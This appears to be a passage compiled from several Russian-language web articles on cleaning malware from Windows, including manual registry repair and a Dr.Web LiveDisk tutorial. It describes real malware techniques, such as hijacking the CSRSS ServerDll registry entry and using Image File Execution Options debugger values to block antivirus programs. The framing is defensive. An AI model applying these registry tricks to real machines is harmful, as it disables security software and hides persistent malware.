HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\ Control\Session Manager\SubSystems

То найдете значения

ServerDll=basesrv , ServerDll=winsrv . Библиотеки basesrv.dll и winsrv.dll - это "правильные" файлы системы, загружаемые службой CSRSS на обычной (незараженной) системе. Эту запись в реестре можно подправить на запись, обеспечивающую загрузку, например, вместо basesrv.dll, вредоносной basepvllk32.dll:

ServerDll=basepvllk32 (или какую либо другую dll, отличную от basesrv и winsrv)

Что обеспечит, при следующей перезагрузке, получение управления вредоносной программе. Если же ваш антивирус обнаружит и удалит внедренную basepvllk32, оставив нетронутой запись в реестре, то загрузка системы завершится "синим экраном смерти" (BSOD) с ошибкой STOP c000135 и сообщением о невозможности загрузить basepvllk32.

Поправить ситуацию можно так:

Загрузится в консоль восстановления (или в любой другой системе), и скопировать файл basesrv.dll из папки C:\WINDOWS\system32 в ту же папку под именем basepvllk32.dll. После чего система загрузится и можно будет вручную подправить запись в реестре.
- загрузиться с использованием Winternals ERD Commander и исправить запись в реестре на ServerDll=basesrv . Или выполнить откат системы с использованием точки восстановления.

Еще один характерный пример. Вредоносная программ регистрируется как отладчик процесса explorer.exe, создавая в реестре запись типа:

"Debugger"="C:\Program Files\Microsoft Common\wuauclt.exe"
Удаление wuauclt.exe антивирусом без удаления записи в реестре приводит к невозможности запуска explorer.exe. В результате вы получаете пустой рабочий стол, без каких-либо кнопок и ярлыков. Выйти из положения можно используя комбинацию клавиш CTRL-ALT-DEL. Выбираете "Диспетчер задач" - "Новая задача" - "Обзор" - находите и запускаете редактор реестра regedit.exe. Затем удаляете ключ
HKM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explorer.exe
и перезагружаетесь.

В случае, когда вы точно знаете время заражения системы, откат на точку восстановления до этого события, является довольно надежным способом избавления от заразы. Иногда есть смысл выполнять не полный откат, а частичный, с восстановлением файла реестра SYSTEM, как это описано в статье "Проблемы с загрузкой ОС" раздела "Windows"

== Май 2008. ==

Дополнение

Это дополнение возникло через год после написания основной статьи. Здесь я решил разместить наиболее интересные решения, возникшие в процессе борьбы с вредоносным программным обеспечением. Что-то вроде коротких заметок.

После удаления вируса ни один антивирус не работает.

Случай интересен тем, что способ блокировки антивирусного программного обеспечения можно использовать и в борьбе с исполняемыми файлами вирусов. Началось все с того, что после удаления довольно примитивного вируса не заработал лицензионный "Стрим Антивирус". Переустановки с чисткой реестра не помогли. Попытка установки Avira Antivir Personal Free закончилась успешно, но сам антивирус не запустился. В системном журнале было сообщение о таймауте при запуске службы "Avira Antivir Guard". Перезапуск вручную заканчивался той же ошибкой. Причем, никаких лишних процессов в системе не выполнялось. Была стопроцентная уверенность - вирусов, руткитов и прочей гадости (Malware) в системе нет.
В какой-то момент попробовал запустить антивирусную утилиту AVZ . Принцип работы AVZ во многом основан на поиске в изучаемой системе разнообразных аномалий. С одной стороны, это помогает в поиске Malware, но с другой вполне закономерны подозрения к компонентам антивирусов, антишпионов и прочего легитимного ПО, активно взаимодействующего с системой. Для подавления реагирования AVZ на легитимные объекты и упрощения анализа результатов проверки системы за счет отметки легитимных объектов цветом и их фильтрации из логов, применяется база безопасных файлов AVZ. С недавнего времени запущен полностью автоматический сервис, позволяющий всем желающим прислать файлы для пополнения этой базы.
Но: исполняемый файл avz.exe не запустился! Переименовываю avz.exe в musor.exe - все прекрасно запускается. В очередной раз AVZ оказался незаменимым помощником в решении проблемы. При выполнении проверок в результатах появилась строки:

Опасно - отладчик процесса "avz.exe"="ntsd-d"
Опасно - отладчик процесса "avguard.exe"="ntsd-d"
:.

Это была уже серьезная зацепка. Поиск в реестре по контексту "avz" привел к обнаружению в ветке

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options

Раздела с именем avz.exe , содержащем строковый параметр с именем "Debugger" и значением .
И, как выяснилось позже, в указанной ветке присутствовал не только раздел "avz.exe", но и разделы с именами исполняемых модулей практически всех известных антивирусов и некоторых утилит мониторинга системы. Сам ntsd.exe - вполне легальный отладчик Windows, стандартно присутствующий во всех версиях ОС, но подобная запись в реестре приводит к невозможности запуска приложения, имя исполняемого файла которого совпадает с именем раздела???.exe.

После удаления из реестра всех разделов, c именем???.exe и содержащих запись "Debugger" = "ntsd -d" работоспособность системы полностью восстановилась.

В результате анализа ситуации с использованием параметра "ntsd -d" для блокировки запуска исполняемых файлов, появилась мысль использовать этот же прием для борьбы с самими вирусами. Конечно, это не панацея, но в какой-то степени может снизить угрозу заражения компьютера вирусами с известными именами исполняемых файлов. Для того, чтобы в системе невозможно было выполнить файлы с именами ntos.exe, file.exe, system32.exe и т.п. можно создать reg-файл для импорта в реестр:

Windows Registry Editor Version 5.00

"Debugger"="ntsd -d"
"Debugger"="ntsd -d"
"Debugger"="ntsd -d"
:.. и т.д.

Обратите внимание, на то, что имя раздела не содержат пути файла, поэтому данный способ нельзя применять для файлов вирусов, имена которых совпадают с именами легальных исполняемых файлов, но сами файлы нестандартно размещены в файловой системе. Например, проводник Explorer.exe находится в папке \WINDOWS\, а вирус располагается где-то в другом месте - в корне диска, в папке \temp, \windows\system32\ Если вы создадите раздел с именем "Explorer.exe" - то после входа в систему вы получите пустой рабочий стол, поскольку проводник не запустится. Хуже того, если вы создадите раздел, имя которого совпадает с именем системной службы (winlogon.exe, csrss.exe, smss.exe, services.exe, lsass.exe), то получите рухнувшую систему. Если вирус находится в C:\temp\winlogon.exe, а легальный модуль входа в систему C:\WINDOWS\SYSTEM32\winlogon.exe, создание раздела с именем winlogon.exe приведет к невозможности запуска службы winlogon и краху системы с синим экраном смерти (BSOD).

Но, все же, надеяться на то, что запрашиваемый вирусом код, подойдет в каждом конкретном случае, не стоит. Как не стоит надеяться на честное самоуничтожение вируса, и тем более, не стоит отправлять СМС. Любой вирус можно удалить, даже если он не обнаруживается антивирусами. Методики удаления вируса-вымогателя ничем не отличаются от методик удаления любого другого вредоносного ПО, с одним, пожалуй, отличием - не стоит тратить время на попытки справиться с дрянью в среде зараженной системы, разве что для развития собственных навыков и пополнения знаний.

Наиболее простой и эффективный путь - загрузиться с использованием другой, незараженной системы и, подключившись к зараженной, удалить файлы вируса и исправить внесенные им записи в реестре. Об этом я уже писал выше, в основной части статьи, а здесь попытаюсь просто изложить несколько кратких вариантов удаления вируса.

Использование Dr.Web LiveCD - самый простой и не требующий специальных знаний способ. Скачиваете iso-образ CD, записываете его на болванку, загружаетесь с CD-ROM и запускаете сканер.

Использование Winternals ERD Commander. Загружаетесь с него, подключившись к зараженной системе, и выполняете откат на контрольную точку восстановления с датой, когда заражения еще не было. Выбираете меню System Tools - System Restore . Если откат средствами ERD Commander"а выполнить невозможно, попробуйте вручную найти файлы реестра в данных контрольных точек и восстановить их в каталог Windows. Как это сделать я подробно описал в статье "Работа с реестром".

Загрузка в другой ОС и ручное удаление вируса. Самый сложный, но самый эффективный способ. В качестве другой ОС удобнее всего использовать тот же ERD Commander. Методика обнаружения и удаления вируса может быть следующей:

Переходите на диск зараженной системы и просматриваете системные каталоги на наличие исполняемых файлов и файлов драйверов с датой создания близкой к дате заражения. Перемещаете эти файлы в отдельную папку. Обратите внимание на каталоги

\Windows
\Windows\system32
\Windows\system32\drivers
\Windows\Tasks\
\RECYCLER
\System Volume Information
Каталоги пользователей \Documents And Settings\All Users и \Documents And Settings\имя пользователя

Очень удобно использовать для поиска таких файлов FAR Manager, с включенной сортировкой по дате для панели, где отображается содержимое каталога (комбинация CTRL-F5). Особое внимание стоит обратить на скрытые исполняемые файлы. Существует также эффективная и простая утилита от Nirsoft - SearchMyFiles, применение которой позволяет, в подавляющем большинстве случаев, легко обнаружить вредоносные файлы даже без использования антивируса. Способ обнаружения вредоносных файлов по времени создания (Creation time)

Подключаетесь к реестру зараженной системы и ищете в нем ссылки на имена этих файлов. Сам реестр не мешает предварительно скопировать (полностью или, по крайней мере, те части, где встречаются выше указанные ссылки). Сами ссылки удаляете или изменяете в них имена файлов на другие, например - file.exe на file.ex_, server.dll на server.dl_, driver.sys на driver.sy_.

Данный способ не требует особых знаний и в случаях, когда вирус не меняет дату модификации своих файлов (а это пока встречается очень редко) - дает положительный эффект. Даже если вирус не обнаруживается антивирусами.

Если предыдущие методики не дали результата, остается одно - ручной поиск возможных вариантов запуска вируса. В меню Administrative Tools ERD Commander"а имеются пункты:

Autoruns - информация о параметрах запуска приложений и оболочке пользователя.
Service and Driver Manager - информация о службах и драйверах системы.

- В качестве продолжения темы - как избавиться от вирусов с помощью стандартных средств операционной системы Windows Vista \ Windows 7. Использование безопасного режима с поддержкой командной строки.

Использование загрузочного диска Winternals ERD Commander - Подробная инструкция по применению диска аварийного восстановления системы, созданного на базе Microsoft Diagnostic and Recovery Toolset (MS DaRT) .

Сайт Олега Зайцева, автора AVZ. - Посвящен информационной безопасности, и в частности - применению одной из наиболее эффективных антивирусных утилит AVZ.

Восстановление системы после вирусного заражения Как восстановить работоспособность Windows после удаления вируса, повредившего некоторые настройки. Помогает в случаях, когда не запускаются программы, при подмене страниц, открываемых обозревателем, подмене домашней страницы, страницы поиска, при изменении настроек рабочего стола, невозможности запуска редактора реестра, отсутствии доступа в Интернет, недоступности некоторых сайтов и т.п.

Я много лет удалял вирусы и Трояны с огромного количества компьютеров, включая свой. Бывают случаи, когда одна антивирусная программа не в силах удалить все имеющиеся на компьютере заражённые объекты, и на помощь мне приходят различные утилиты для поиска вирусов, и конечно встроенные программы в самом Windows.

Каким образом вирус или троян проявляет себя в рабочей среде?

У вас периодически зависает или перезагружается компьютер
Ваш ПК или ноутбук жутко тормозит
Отключаются USB порты
перестаёт работать переключение на Английскую раскладку клавиатуры
странички в Интернете открываются медленно
пропадают деньги с webmoney или других интернет кошельков
на ваши сайты в index .php или index .html прописывается iframe с вирусом
появились непонятные баннеры взрослой тематики от которых не возможно избавиться
вирус заразил флешку
после загрузки системы вы видите пустой рабочий стол
или того хуже вымогатели вас просят отправить смс для получения доступа.

Я надеюсь, что у вас имеется хоть какая-нибудь антивирусная программа, это может быть Nod 32 , Dr .web , или бесплатная программа Avast .

Если нет доступа к WINDOWS.

В этом случае понадобится загрузочный диск, с помощью которого мы будем избавляться от вредоносного ПО. Как это сделать, и как бороться читаем .

Если нет доступа к социальным сетям.

Если есть доступ к Windows.

Начинаем чистку.

В первую очередь необходимо запустить вашу антивирусную программу и полностью проверить все жёсткие диски на наличие угрозы. Делать это лучше в безопасном режиме,но перед этим я бы рекомендовал запустить"Загрузку последней удачной конфигурации " возможно вируса у вас вовсе нет, а произошёл сбой в системе.

Для входа в безопасный режим WINDOWS , необходимо до загрузки операционной системы нажимать клавишу F 8, и на вашем мониторе откроется меню, в котором необходимо выбрать «Безопасный режим». Если всё правильно нажато, на экране будет показана следующая картина. Здесь же можно попробовать заупустить "Последнюю удачную конфигурацию".

После выбора нужного пункта "Безопасный режим", у вас загрузится WINDOWS , но большинство драйверов и программ запущено не будет, что поможет тщательно проверить все файлы на вирусы. Дело в том, что в обычном режиме Антивирусная программа не в силах проверить некоторые файлы, которые на данный момент используются Windows .

Какой утилитой проверить систему на вирусы?

Если проверка с помощью установленных антивирусов не принесла желаемых результатов, скачиваем бесплатную утилиту , и ещё раз проверяем систему, желательно в безопасном режиме. Если вы занимаетесь чисткой системы,то обязательно что-нибудь найдётся.

Чистка Автозагрузки.

Для дальнейшей очистки системы заходим в Пуск->Выполнить и в появившемся окне вводим слово «msconfig ». На вашем экране запустится программа «Настройка системы». Перейдите на вкладку «Автозагрузка», и обратите внимание на подозрительные объекты отмеченные галочкой. Обратите внимание на рисунок, в данном случае я выделил вирусы которые подгружались во время загрузки.

Подозрительные строчки и их примеры:

C:WINDOWSINF*.exe
%windir%system328353.exe
Пустые строчки, но с галочкой
%windir%system32smphost.exe
C:WINDOWSsecuritysmss.exe
* означает все файлы в папке

Примерно таким образом можно узнать загрузку подозреваемого объекта. Если вы уверенны, что программу которая есть в списке объектов вы не устнавливали, то незамедлительно убирайте галочку.

Чистка других объектов

И это ещё не всё, для более тщательной очистки диска необходимо удалить все файлы восстановления системы,в папку с которыми частенько попадают разные вирусы и трояны, удалить временные файлы интернета, а так же почистить папку temp. В принципе для очистки компьютера от всякого мусора можно воспользоваться специальной программой например " ".

Удаление файлов восстановления жёстких дисков.

Кликаем по иконке на рабочем столе Мой компьютер->Свойства, и переходим на вкладку восстановление системы.В появившемся окне выбираем "Параметры", и перемещаем ползунок до 0. После очистки всей системы, ползунок можно поставить на место.

Проверка системы на шпионские программы и другое вредоносное ПО.

Так же не забываем, что на жёсткий диск компьютера, может проникнуть так называемый шпионский модуль. В принципе любой антивирус их сейчас отлавливает, но всё же не помешает воспользоваться программой, например . Так же попробуйте использование небольших утилит AVZ и Hijackthis ,которые в любом случае будут полезны для удаления других шпионов, и вредоносных программ.

Если у вас не загружается Рабочий стол, любую программу можно попробовать запустить через Диспетчер задач.Открыть его можно при нажататие сочетаний клавиш ctrl+alt+delete и открыть в меню, Файл->Новая задача->Обзор.

Заключение

Думаю, что все эти рекомендации помогут вам избавиться от грязи в вашей системе, на которой пытаются заработать злоумышленники, но если у вас имеются какие-либо проблемы, пишите, я обязательно вам помогу. В архиве собраны 5 программ о которых идёт речь в этой статье.Не болейте.

Видеоурок

Начинающие пользователи компьютера довольно часто оказываются в затруднительном положении, ведь вопросы, которые у них появляются, другие, более продвинутые пользователи, считаю банальными. Именно по этой причине очень часто ответы на эти вопросы сложно найти в интернете или же на вопросы отвечает человек, уже забывший, что значит быть начинающим, а значит он использует терминологию и приемы, которые только еще сильнее запутывают новичка.

Это касается и такой тривиальной задачи, как поиск и удаление вирусов.

Я решил создать пошаговую инструкцию, в которой покажу, как бы я действовал, если бы столкнулся с вредоносной программой.

Как определить, что компьютер заражен вирусом

В начале имеет смысл рассказать о признаках, которые явно или косвенно указывают на вирусное заражение.

Во-первых, это уведомление, которое выводит установленный на вашем компьютере антивирус. Это уведомление может выглядеть по разному и текст его может отличаться и зависит от конкретной антивирусной программы.

Но не спешите сразу же впадать в панику. Всегда есть вероятность, что антивирус ошибся или перестраховался.

Не устаю повторять, что антивирусная программа — это не панацея!

Ни один в Мире антивирус не может быть на 100% эффективным, так как разработчики вирусов и вредоносных программ ВСЕГДА находятся на шаг впереди — сначала появляется вирус, а уже затем с ним начинают бороться.

Многие начинающие пользователи имеют неверное представление о работе антивируса. Они считают, что антивирус в своей работе руководствуется только антивирусными базами, которые обновляются ежедневно. Это верно, но отчасти.

Новые вирусы появляются сотнями и тысячами ежедневно и далеко не всегда им присваивается какое-то уникальное имя, под которым они заносятся в антивирусную базу. Такой привилегии удостаиваются только действительно уникальные вредоносные программы. Весь остальной «вирусный ширпотреб» создается, как правило, с помощью вспомогательных программ-конструкторов и антивирус может отловить подобные вирусы по определенным критериям (эвристический анализатор).

Если программа или файл ведут себя по мнению антивируса подозрительно, то есть поведение подпадает под определенные, заложенные в антивирус критерии, то он их заблокирует и выдаст сообщение. Фактически же файл может быть вполне безобидным.

Поэтому антивирус стоит воспринимать исключительно как сигнализацию, которая вполне может иметь (и часто так оно и есть) ложные срабатывания.

Тем не менее, если антивирус «засомневался» и что-то заблокировал, то следует проверить компьютер полностью. При этом я бы рекомендовал делать это не только с помощью установленного на вашем компьютере антивируса, но и использовать альтернативное решение. То есть после полной проверки установленным антивирусом, сделать повторную проверку другой антивирусной программой, о чем я расскажу чуть позже.

Также поводом для проверки компьютера на наличие вирусов может стать любая внештатная ситуация. Например, компьютер стал подтормаживать или внезапно перезагружаться, стали появляться ошибки при запуске программ или при работе операционной системы… В общем, любое ненормальное поведение компьютера стоит воспринимать как сигнал — стоит проверить компьютер антивирусом.

Чем проверять компьютер на наличие вирусов

Как я уже упомянул, с моей точки зрения, правильным будет проверить компьютер не только установленным на компьютере антивирусом, а еще и вторым, хорошо себя зарекомендовавшим антивирусным решением.

При этом я НЕ имею в виду установку второго антивируса на компьютер! НЕТ! Этого делать нельзя!

Я имею в виду, использование антивирусных сканеров, которые можно скачать и запустить без установки, а лучше даже с загрузочной флешки.

Дело в том, что если ваш компьютер заражен, то вирус может спрятаться в системе и блокировать попытки установленного антивируса его обнаружить или удалить.

При загрузке компьютера со специально созданной флешки, с нее будет запущена своя операционная система (обычно это Linux). Это означает, что все файлы вашего жесткого диска будут доступны, так как они не будут защищаться операционной системой Windows, которая установлена на жестком диске вашего компьютера.

Таким образом мы сможем наиболее эффективно проверить все закоулки на вашем жестком диске и с бОльшей долей вероятности обнаружим угрозы.

Подобные загрузочные флешки позволяют создать многие современные антивирусы. То есть можно зайти в меню установленного на вашем компьютере антивируса и с помощью него же создать загрузочную флешку. Но это при условии, что ваш антивирус имеет такую функцию. Об этом можно узнать в справочной системе вашей антивирусной программы.

Я же предпочитаю использовать утилиту Dr.Web LiveDisk . Подобное решение есть и у Касперского, и у других ведущих разработчиков программ защиты, но мне привычнее работать именно с этой программой, поэтому я на ее примере покажу весь процесс.

Создаем флешку с антивирусом

Нам понадобится чистая флешка объемом 1Гб или более, ну или флешка со свободным пространством в 1Гб.
Саму утилиту Dr.Web LiveDisk можно скачать с официального сайта .

После того, как файл скачается, подключите флешку к компьютеру и запустите скачанный файл.

Запустится программа, которая определит все доступные USB-устройства, подключенные к вашему компьютеру. Нужно будет из списка выбрать флешку.

Утилита не удаляет файлы с флешки, но я обычно устанавливаю галочку, которая позволяет полностью отформатировать флешку и поместить на нее только файлы Dr.Web LiveDisk. Мне такой вариант больше нравится, так как для удаления Dr.Web LiveDisk в любом случае нужно форматировать флешку. Поэтому проще сразу временно перенести с нее нужные вам файлы, отформатировать флешку и создать Dr.Web LiveDisk. Когда загрузочный диск вам будет больше не нужен — снова отформатируете флешку и вернете на нее все файлы.

Мы с вами скачали и установили на флешку антивирус с самыми последними антивирусными базами. Это означает, что если вы захотите воспользоваться этой флешкой через некоторое время, то антивирусные базы на ней уже устареют.

Есть возможность обновить антивирусные базы без создания новой флешки, но я обычно так не поступаю. Дело в том, что подобные проблемные ситуации с вирусами у меня возникают довольно редко и мне проще заново создать загрузочную флешку с антивирусом, нежели отвести отдельную флешку под эти цели и в случае необходимости обновлять на ней антивирусные базы.

Как проверить компьютер на вирусы

Итак, флешка готова. Перезагружаем компьютер и запускаемся с флешки.

Для этого можно воспользоваться меню загрузки (Boot Menu). У разных производителей материнских плат и ноутбуков это меню вызывается нажатием разных кнопок на клавиатуре, но обычно это либо клавиша Esc, либо одна из функциональных клавиш — F9, F11, F12. Самый верный способ узнать, какая клавиша в вашем случае вызывает меню загрузки — это обратиться к инструкции от вашего ноутбука или материнской платы. Ну или еще проще — спросить у Яндекса. Для этого так и сформулируем поисковый запрос, например, «меню загрузки клавиша ноутбук asus».

Данную клавишу нужно нажимать сразу же после включения компьютера. Обычно я клавишу не удерживаю, а просто быстро и многократно нажимаю ее до появления меню.

В меню выбираем флешку и начинается процесс загрузки.

По умолчанию установлен английский язык интерфейса, но мы можем исправить ситуацию, переключившись на русский, нажав клавишу F2 и выбрав язык.

Для выбора языка можно воспользоваться клавишами управления курсором — стрелками вверх и вниз. Для подтверждения выбора нажимаем клавишу ENTER.

Данная флешка является комплексным решением для устранения разного рода проблем, поэтому здесь есть, например, утилита для тестирования памяти компьютера, которую можно запустить прямо сейчас. Но я с помощью стрелок выбираю Dr.Web LiveDisk и нажимаю клавишу ENTER.

Будет загружена операционная система Linux и сразу же запустится антивирусный сканер Dr.Web CureIt! Точно такой же сканер можно скачать и запустить из под Windows, но, как я уже сказал ранее, намного правильнее и эффективнее работать с флешки, нежели из под загруженной с жесткого диска операционной системы, поэтому приступим.

Можно начать быструю или задать выборочную проверку, в которой указать те объекты и области на диске, которые вы хотите проверить.

Я запущу быструю, нажатием кнопки «Начать проверку».

После завершения проверки мы получим информацию об обнаруженных угрозах и сможем их обезвредить, выбрав наиболее подходящее действие — выбираем объекты и нажимаем на кнопку «Обезвредить».

Это был самый простой и наиболее быстрый подход к удалению вирусов с компьютера.

Утилита Dr.Web CureIt! имеет настройки и при желании вы можете с ними ознакомиться в инструкции, ссылку на которую я уже дал выше.

Ну а сама флешка Dr.Web LiveDisk – это, как я уже упомянул, не просто антивирусный сканер, а целый набор утилит, предназначенных для восстановления работоспособности компьютера и его частичной диагностики. Здесь вы можете не только удалять вирусы, но и редактировать реестр Windows или работать с файлами и папками на вашем жестком диске. Также здесь есть браузер, с помощью которого вы можете получить нужную вам информацию из интернета.

Подобная флешка неоднократно меня выручала и помогла восстановить не один компьютер…